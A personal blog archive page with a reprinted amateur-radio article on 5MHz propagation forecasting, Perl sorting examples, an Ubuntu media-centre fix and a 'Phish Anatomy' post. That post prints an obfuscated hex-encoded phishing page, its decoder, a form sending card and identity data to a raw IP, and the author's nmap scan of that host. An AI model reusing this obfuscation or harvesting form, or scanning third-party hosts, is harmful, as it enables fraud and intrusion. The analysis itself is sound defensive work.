Bookmarks for October 27th through December 7th

These are my links for October 27th through December 7th:

5MHz Propagation Forecasts utilising the Experiment’s Database

Using historical data to predict future conditions

This article, written by Gwyn Williams G4FKH and published in RadCom December 2011 is © RSGB 2011, reproduced with permission.

FIGURE 1: An input form (see text).

BRIEF HISTORY

The RSGB 5MHz Experiment started toward the end of 2002, when the 5MHz Working Group was formed under the chairmanship of John Gould, G3WKL. The current NoVs for access to 5MHz expire on 30 June 2015, but it is possible that Ofcom and MoD will agree to a further extension. The 5MHz Experiment could then run well into the current solar cycle. On the website [1] are various ways in which information can be retrieved from the 5MHz database. In fact there are three separate parts to the database. The first two are concerned with the logging of the three propagation beacons that have been established: the first for manual logging and the second for automated logging. The third part is a compilation of propagation data for the same period. It suddenly occurred to me that the database could be used to forecast propagation.

 

BASIC CONCEPT

This article and the subsequent web application discuss the automatically logged data and the propagation data. The three beacons in questions are GB3RAL, GB3WES and GB3ORK situated in Maidenhead Locator squares, IO91in, IO84qn and IO89ja respectively. They transmit on a frequency of 5.290MHz every quarter of an hour for one minute each, starting on the hour. Each sequence therefore lasts for three minutes. The logging software was designed by Peter Martinez, G3PLX and is available on the web via the experiment’s main page [1]. To date, the automatic logging part of the database has accumulated over 1.3 million lines of data; the propagation part about one third of this. To perform the forecasts it is necessary to interrogate both of these datasets.
It will be appreciated that there are many stations contributing to the database and therefore there are an equal number of station setups! In order to explain the potential pitfall, I will explain my setup. I have a dipole aerial with a radio and PC. The output from the radio couples to the PC’s soundcard and the program manipulates data from the soundcard. My radio does not provide sufficient output to drive the soundcard, so I have installed an inline amplifier. I can, therefore, adjust my own recorded background/signal strength. Not taking care when analysing the data will cause these differences to become exaggerated. The G3PLX program compensates somewhat for this internally and displays the background signal level and the SNR of the station being monitored. This internal rationalisation and the forecasting program’s own scheme mitigate these differences.

I write small computer programs in the Perl language; during a fairly recent local club meeting I discussed this idea with Roger Pettett, G7TKI, a professional systems developer. My personal experience is not up to his standard and, as Roger kindly volunteered to develop the program in his own time, I quickly agreed. Roger is not au fait with propagation so the collaboration is a good one.

 

5MHz PROPAGATION

Before I go on to discuss the developed program and its usage, it seems expedient to first outline propagation at this frequency. Most of the propagation at this QRG is via NVIS (near vertical incidence skywave) communication. The E-layer (and probably, during some periods, the F-layer) do influence the longer distance circuits. NVIS for most practical purposes has a range of about 400km; therefore, if a station is set up in the middle of the UK, NVIS would be the dominant mode for the whole of the country. However, we do not live in an idealised world so a method is needed to perform forecasts between any two parts of the UK. To facilitate this database locators are used to correlate distances. The R12 (twelve-month smoothed relative sunspot number) and the AP (planetary A-index) are used to represent propagation conditions. R12 is automatically retrieved from the internet, but it is necessary to input the AP [2] that represents the propagation conditions under consideration. The best results within the UK will be achieved when using a 1⁄2λ dipole; the program suggests some aerial dimensions.
The ionosphere is fed by ionisation from the sun and this has a direct correlation with sunspot numbers. The ionosphere requires X amount of ionisation to allow for NVIS communication. For simplicity we can view the AP as a measure of disturbance in the ionosphere. The higher the AP, the worse the propagation will become.

Instead of using propagation prediction engines, eg VOACAP, we interrogate the databases to find parity (within parameters) to those conditions input by the user. A more complete introduction to NVIS communications can be found in [3].

5MHz FORECASTING PROGRAM

The completed program can be found at [4] and should be straightforward in use. As mentioned it is only necessary to input the AP, month, year and locator squares that are to be forecast, the last input tick is for a smoothed graph output. Figure 1 is an example of the input form. It can take a little time to search through the databases to find the correct matches; when the relevant data are found a table like Table 1 is produced along with a graph, Figure 2.

The table, which can be viewed as a median for a whole month, comprises three headed columns. The first column is the hour of the day, the second an SNR (signal to noise ratio) for the hour and the third an explanatory note for the SNR. For the purposes of this dataset an SNR below 20 should be considered as unreadable. The graph is a pictorial view of the table data; the thin green line is where the signal drops out of usability.
It may not be apparent why we need a tool such as the one described, because after all we have experience at this QRG and have other prediction tools at our left hand. What these things do not provide is the ability to visualise propagation when conditions are disturbed or changing. Inputting the correct answers into the input form allows the user to see what conditions will be like when the ionosphere becomes disturbed, such as from Coronal Mass Ejections and solar flares. This ability is lacking in prediction engines, but this program shows to what extent any degree of disturbance should have upon any circuit. However, there is one short-coming suffered by all forecasting tools and that is the ability to see things before they happen, ie a short- wave-fade from a large flare. This effect will last the same amount of time as the flare is visible from Earth (utilising the correct viewing techniques), from a minute or two, to perhaps an hour or so. These effects have a quick onset and an equally quick fall-off period.
Comparatively speaking and from interest the output from this program was compared with REC533, the same prediction engine used to produce the RadCom predictions (to be fair, predictions programs were never really designed for such short distances).
A survey was produced for RadCom in 2000 and REC533 was found to perform best. Comparing the output from REC533 (Table 2 Predicted SNR column) and what was actually copied using the automatic monitoring program (Table 2 Automatic Recording SNR column) showed that REC533 was only 25% accurate. When it is considered that this percentage of accuracy is only obtainable when geomagnetic conditions are quiet it shows a severe shortcoming.

Comparing this to the output from our new program (Table 2 Forecast SNR column) with an accuracy of 67% against actual monitoring, under all geomagnetic conditions, it shows the new program to be far superior to anything previously available. Comparison was carried out with the criteria of the SNR being within 10dB. In order to obtain more accurate results more data is required as well as data from a greater number of stations.
Table 3 and Figure 3 demonstrate the way in which conditions can change in reality. These clearly demonstrate the different conditions when an ionospheric disturbance is at hand. Of course it should be understood that diurnal conditions also have a bearing on the results shown in the table, ie at the very end and very beginning of the day, for some circuits no path is expected. What is happening is that the foF2 (F2 critical frequency) is dropping below the required frequency; this is when the E and F layers can accommodate communication.

 

SUMMARY

This simple but effective idea can prove useful in all sorts of circumstances, ie for everyday amateur use, emergency situations (RAYNET) and other occasions outside the amateur service where 5MHz is in use, especially when conditions become disturbed during ionospheric upheavals. It is the use of a database with all varieties of propagation conditions that is the winning ingredient in performing accurate forecasts. As the database builds up to a crescendo in 2015, a whole solar cycle and more of information will have been logged and will provide an unsurpassed amount of quality data for this frequency.

 

WEBSEARCH

[1] www.rsgb.org/spectrumforum/hf/5mhz.php
[2] www.swpc.noaa.gov/ftpdir/weekly/27DO.txt
[3] Near Vertical Incidence Skywave Communication, Theory, Techniques and Validation by LTC, David M Fiedler, (NJ ARNG) (Ret) and MAJ Edward J Farmer, PE (CA SMR). Published by Worldradio Books,
[4] www.rsgb-spectrumforum.org.uk/5mhzpf

This article may also be downloaded in PDF format here: 5MHz Propagation Forecasting utilising the Experiment’s Database

3 sorts of sort

I’ve been fiddling around recently with some stuff which I’m sure I covered in my CS degree 16 (Gah! Really?) years ago but have had to re-educate myself about. Namely a few different implementations of sort. I implemented three types in Perl with some reacquaintance of the mechanisms via Wikipedia. I found a few existing examples of sort algorithms in Perl but they generally looked a bit unpleasant so like all programmers I decided to write my own (complete with errors, as an exercise to the reader). Here I’ve also added some notes, mostly to myself, which are largely unsubstantiated because I haven’t measured memory, speed or recursion depth, for example (though these are well-documented elsewhere).

1. Bubble Sort

#!/usr/bin/perl -w
use strict;
use warnings;

my $set    = [map { int rand() * 99 } (0..40)];
print "in:  @{$set}\n";

my $sorted = bubblesort($set);
print "out: @{$sorted}\n";

sub bubblesort {
  my ($in)     = @_;
  my $out      = [@{$in}];
  my $length   = scalar @{$in};
  my $modified = 1;

  while($modified) {
    $modified = 0;
    for my $i (0..$length-2) {
      if($out->[$i] > $out->[$i+1]) {
	($out->[$i], $out->[$i+1]) = ($out->[$i+1], $out->[$i]);
	$modified = 1;
      }
    }
  }

  return $out;
}

Bubblesort iterates through each element of the list up to the last but one, comparing to the next element in the list. If it’s greater the values are swapped. The process repeats until no modifications are made to the list.

Pros: doesn’t use much memory – values are swapped in situ; doesn’t perform deep recursion; is easy to read

Cons: It’s pretty slow. The worst-case complexity is O(n2) passes (for each value in the list each value in the list is processed once).

2. Merge Sort

#!/usr/bin/perl
use strict;
use warnings;

my $set    = [map { int rand() * 99 } (0..40)];
print "in:  @{$set}\n";

my $sorted = mergesort($set);
print "out: @{$sorted}\n";

sub mergesort {
  my ($in) = @_;

  my $length = scalar @{$in};
  if($length < = 1) {
    return $in;
  }

  my $partition = $length / 2;
  my $left      = [@{$in}[0..$partition-1]];
  my $right     = [@{$in}[$partition..$length-1]];

  return merge(mergesort($left), mergesort($right));
}

sub merge {
  my ($left, $right) = @_;
  my $merge = [];

  while(scalar @{$left} || scalar @{$right}) {
    if(scalar @{$left} && scalar @{$right}) {
      if($left->[0] < $right->[0]) {
	push @{$merge}, shift @{$left};
      } else {
	push @{$merge}, shift @{$right};
      }
    } elsif(scalar @{$left}) {
      push @{$merge}, shift @{$left};
    } elsif(scalar @{$right}) {
      push @{$merge}, shift @{$right};
    }
  }
  return $merge;
}

Mergesort recurses through the list, in each iteration breaking the remaining list in half. Once broken down to individual elements, each pair of elements/lists at each depth of recursion is reconstituted into a new ordered list and returned.

Pros: generally quicker than bubblesort; O(n log n) complexity.

Cons: quite difficult to read

3. Quicksort

#!/usr/bin/perl
use strict;
use warnings;

my $set    = [map { int rand() * 99 } (0..40)];
print "in:  @{$set}\n";

my $sorted = quicksort($set);
print "out: @{$sorted}\n";

sub quicksort {
  my ($in) = @_;

  my $length = scalar @{$in};
  if($length < = 1) {
    return $in;
  }

  my $pivot = splice @{$in}, $length / 2, 1;
  my $left  = [];
  my $right = [];

  for my $v (@{$in}) {
    if($v < $pivot) {
      push @{$left}, $v;
    } else {
      push @{$right}, $v;
    }
  }

  return [@{quicksort($left)}, $pivot, @{quicksort($right)}];
}

Quicksort is probably the best known of all the sort algorithms out there. It’s easier to read than Mergesort, though arguably still not as easy as Bubblesort, but it’s a common pattern and its speed makes up for anything lacking in readability. At each iteration a pivot is selected and removed from the list. The remaining list is scanned and for element lower than the pivot is put in a new “left” list and each greater element is put into a new “right” list. The returned result is a merged recursive quicksort of the left list, the pivot and the right list.

In this example I’m picking the middle element of the list as the pivot. I’m sure there are entire branches of discrete mathematics dealing with how to choose the pivot based on the type of input data.

Pros: (One of?) the fastest sort algorithm(s) around; Reasonably efficient memory usage and recursion depth. Average O(n log n) complexity again (worst is O(n2)).

Perhaps it’s worth noting that in 25-odd years of programming computers I’ve only ever had to examine the inner workings of sort routines as part of my degree – never before, nor after, but it’s certainly brought back a few memories.

Neat Perl Gotcha

For a while now I’ve been using Test::Perl::Critic as an integral part of my daily coding. Test::Perl::Critic wraps Perl::Critic into a set of tests which can be automatically run against a distribution. Perl Critic implements Damien Conway’s set of standard Perl Best Practices.

I’m not going to go into the arguments of whether they’re good or bad rules right now. Suffice to say I use nearly all of them and my code has improved because of it. Anyway, one of the rules states you shouldn’t use parentheses for core method calls like length(), int() or rand(), so most of the time I don’t, but today I wanted to do this:

my @array = map { int rand * 45 } (1..10);

The results come out as an array of zeros. Why? Well it’s not a broken PRNG, that’s for sure. It’s a simple case of misunderstood parsing, operator precedence and Perl internals. Looking closely * 45 isn’t what you’d expect, *45 refers to the typeglob named 45 in the main package. I actually have no idea how this is cast into a number in Perl but however it’s done, it evaluates to zero. rand 0 seems to exhibit the same behaviour as rand 1, yielding a random float between zero and 1. int rand 0 will always be zero.

So? Well to stop the parser from taking *45 as an argument to rand you need to upset PerlCritic and add those parentheses back in:

my @array = map { int rand() *45 } (1..10);

and it works now so back to work!

[ The astute amongst you will realise you can just say int rand(45). I know, but that doesn’t work nearly so well as a mildly interesting example. I blame PerlCritic ;) ]

Phish Anatomy

I receive four or five of these sorts of phishing emails a week so I thought I’d take a quick look at one and see how it’s put together.

Firstly a poorly constructed message from my- or more often someone else’s bank/tax office. Note capitalisation, lack of whitespace after fullstop in the first sentence, no currency denomination (e.g. £) for the amount but a realistic sum of money, definitely not $10,000,000 from the office of former attorney general Utoula of Lagos. Also note the threat of a deadline, even though none is stated.

Dear Applicant:

we have reviewed your tax return and our calculations of your last years accounts a tax refund of 178.25 is due.Please submit the tax refund request and allow us 3-6 days in order to process it.

A refund can be delayed for a variety of reasons.
For example submitting invalid records or applying after the deadline.

Submit the form attached to your email in order to verify your card.

with an attachment: return_form.html . Who sends a plain text email with an attached HTML file? Nobody except scammers, that’s who. Saving out return_form.html (without the .html extension, for safety) and having a look I found this at the top:

<script type="text/javascript" language="JavaScript">// < ![CDATA[
// Copyright © 2005 Voormedia - WWW.VOORMEDIA.COM
var i,y,x="3c21444f43545950452048544d4c205055424c494320222d2f2f5733432f2f44544420485
44d4c20342e3031205472616e736974696f6e616c2f2f454e222022687474703a2f2f7777772e77332e6
f72672f54522f68746d6c342f6c6f6f73652e647464223e0d0a3c68746d6c206c616e673d22656e223e3
c212d2d20496e7374616e6365426567696e2074656d706c6174653d22687474703a2f2f7777772e686d7
2632e676f762e756b2f54656d706c617465732f5765622d436f6e76657267656e6365312e64777422206
36f64654f75747369646548544d4c49734c6f636b65643d2266616c736522202d2d3e0d0a3c686561643
e0d0a3c212d2d20496e7374616e6365426567696e4564697461626c65206e616d653d224d65746164617
46122202d2d3e0d0a3c6d65746120687474702d65717569763d22436f6e74656e742d547970652220636
f6e74656e743d22746578742f68746d6c3b20636861727365743d7574662d38223e20202020202020202
00d0a3c6d65746120687474702d65717569763d22706963732d6c6162656c2220636f6e74656e743d272
8706963732d312e312022687474703a2f2f7777772e696372612e6f72672f726174696e67737630322e6
8746d6c22206c2067656e207472756520666f722022687474703a2f2f7777772e686d72632e676f762e7
56b22207220286e7a203120767a2031206c7a2031206f7a203120637a2031292067656e2074727565206

and this at the bottom:

703a2f2f7777772e686d72632e676f762e756b2f696d616765732f626c616e6b2e6769662220616c
743d22446972656374476f762220636c6173733d22646972656374676f765f6c6f676f2220746974
6c653d22446972656374476f76223e3c2f613e3c2f6c693e0d0a2020202020203c2f756c3e0d0a20
202020202020203c2f6469763e0d0a09093c212d2d20626567696e5f6578636c7564652d2d3e3c73
637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f
2f7777772e686d72632e676f762e756b2f50726f70686574496e736572742e6a73223e3c2f736372
6970743e3c212d2d20656e645f6578636c7564652d2d3e0d0a3c2f6469763e0d0a0d0a3c2f626f64
793e0d0a3c212d2d20496e7374616e6365456e64202d2d3e3c2f68746d6c3e0d0a0d0a";y='';
for(i=0;i < x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);
// ]]>

(I’ve cut out the middle section because it’s long and I’m only interested in the techniques.)

So this is an obfuscated html page, entirely URL-encoded and embedded in a javascript string with a little bit of decoding tacked on the end. This is simple, but quite neat. Not a technique I’ve ever used to do anything “production” with. I cut the string out, saved it to a file and decoded it on the command line using CGI.pm.

perl -MCGI -e '$str= <>;for (my $i=0;$i < length $str;$i+=2){
  print CGI::unescape(sprintf q[%%%s], substr $str, $i,2)
}' < return_form.data > return_form.decoded

The decoded page contains an HTML form requesting name, email address, physical address, card number, mother’s maiden name, phone number, national insurance number and bank account details where refund payment is to be made, including CVV. It posts all that delicious data over to … woah hold on, that’s not the HMRC is it?

<td><form name="processForm" method="post" action="http://188.219.154.228/id561sua/javascript.php" OnSubmit="return go_step2();">
</form></td>

So who is it?

host 188.219.154.228
228.154.219.188.in-addr.arpa domain name pointer net-188-219-154-228.cust.dsl.vodafone.it.

An Italian Vodafone DSL customer, probably a hacked home PC, most likely part of a botnet infected by a virus of some sort.

Let’s try poking the service:

wget -O- http://188.219.154.228/id561sua/javascript.php
--2011-10-25 13:40:49-- http://188.219.154.228/id561sua/javascript.php
Connecting to 188.219.154.228:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.hmrc.gov.uk [following]

ok, that was a GET request and the script expects a POST, but it still bounces us straight out to hrmc.gov.uk, presumably logging whatever data was sent back in a database or IRC channel somewhere whilst leaving the unsuspecting user none the wiser.

What about running services? Ok, let’s use nmap:

nmap -PN 188.219.154.228

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-25 13:44 BST
Nmap scan report for net-188-219-154-228.cust.dsl.vodafone.it (188.219.154.228)
Host is up (0.10s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1244/tcp open isbconference1
1433/tcp open ms-sql-s
1720/tcp filtered H.323/Q.931
3306/tcp open mysql
3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds

So it’s running a few bits and pieces, things you wouldn’t normally open up given the choice..

wget -O- -q http://188.219.154.228/ | grep -i title
<title>WAMPSERVER Homepage</title>

WAMP is a LAMP software stack built for Windows consisting of Apache, MySQL and PHP which explains some of the services this thing is running.

Here I paused and went back to look at the message headers.

Return-Path: < hmrc @return.co.uk>
< snip >
Received: from User ([204.15.97.91]) by smtp.direktora.ru with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Oct 2011 15:54:42 +0400
From: "HMRC"< hmrc @return.co.uk>
Subject: ***SPAM*** We have reviewed your tax return
Date: Tue, 25 Oct 2011 07:54:42 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0100_01C2A9A6.3D97D7B2"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Message-ID: < maindclqgdyxsvvr0ws0000024a @smtp.direktora.ru>
X-OriginalArrivalTime: 25 Oct 2011 11:54:42.0679 (UTC) FILETIME=[E1F60870:01CC930C]
To: undisclosed-recipients:;

A few things to highlight here – firsly the return address is return.co.uk (probably fictitious) not hmrc.gov.uk, as doing so could generate a large number of bounced messages sent back to HMRC and alerting them that there’s a phisher out there. Not that they can really do anything about it beyond cyber-investigation, but always good to keep things on the QT.

Ignoring the fact that my MTA has flagged the subject as SPAM, the original SMTP server shows up as smtp.direktora.ru . Riiight, a UK Tax email sent through a mail server in Russia.

Back to the spam detection. The headers injected by my MTA look like this:


X-Virus-Scanned: Debian amavisd-new at psyphi.net
X-Spam-Flag: YES
X-Spam-Score: 6.105
X-Spam-Level: ******
X-Spam-Status: Yes, score=6.105 tagged_above=-9999 required=4.8
	tests=[BAYES_50=0.8, FORGED_MUA_OUTLOOK=1.927, FROM_MISSP_MSFT=1,
	MISSING_HEADERS=1.021, RCVD_IN_BL_SPAMCOP_NET=1.347,
	T_FROM_MISSPACED=0.01] autolearn=no

Good. Forged Mail User Agent, which isn’t something you might easily spot visually, and blacklisted in spamcop to boot.

Conclusions? Firstly don’t open attachments from untrusted sources. Duh, like I needed to tell you that. Secondly this is a UK-targetted scam, hosted on an Italian computer (probably) originating from Russia. This stuff is real…

XBMC on Ubuntu 11.10 Oneric Ocelot

Yesterday I upgraded my XBMC media centre, an Acer (bleugh!) Revo 3610 from Ubuntu 10.10 to 11.10 (Oneric Ocelot).

The upgrade itself went fine but (re)installed a few things I’d previously removed, things I didn’t want and things which break a few XBMC features. This is what I had to do to reset things:

  1. Reset the xbmc user’s login session to ‘custom session’ using the gear icon on the top-right of the login window
  2. Add a .xsession file containing 
    #!/bin/sh
exec xbmc

    and chmod +x .xsession

  3. apt-get remove nautilus ubufox xul-ext-ubufox network-manager* pulseaudio
  4. Reset network settings (e.g. /etc/resolv.conf) if you made the mistake of logging in, resulting in NetworkManager resetting everything
  5. Check your xbmc user is still in the ‘audio’ group
  6. apt-add-repository ppa:ubuntu-x-swat/x-updates
  7. apt-get update
  8. apt-get install nvidia-current # if you hadn’t previously done this
  9. apt-get dist-upgrade
  10. apt-get autoremove

It’s probably worth saying I use plain stereo output from the headphone jack, and a Grand Hand III VGA adapter rather than HDMI because my TV is about 9 years old.

Bookmarks for October 4th through October 11th

These are my links for October 4th through October 11th:

Bookmarks for September 21st through September 24th

These are my links for September 21st through September 24th:

Bookmarks for July 20th through September 15th

These are my links for July 20th through September 15th: